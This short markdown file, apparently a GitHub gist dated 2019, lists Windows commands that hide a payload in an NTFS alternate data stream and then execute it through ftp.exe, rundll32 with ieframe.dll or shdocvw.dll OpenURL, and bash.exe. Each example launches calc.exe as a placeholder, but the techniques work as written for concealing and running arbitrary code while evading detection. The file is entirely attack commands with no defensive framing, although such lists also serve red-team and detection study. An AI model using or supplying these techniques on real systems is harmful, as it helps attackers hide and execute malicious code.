ads.md

September 19, 2019 · View on GitHub

FTP ( Alternate data streams )
echo !calc.exe > fakefile.txt:aaaa.txt && ftp -s:fakefile.txt:aaaa.txt
ieframe.dll , shdocvw.dll (ads)
echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
bash.exe (ads)
echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
bash.exe -c $(fakefile.txt:payload.sh)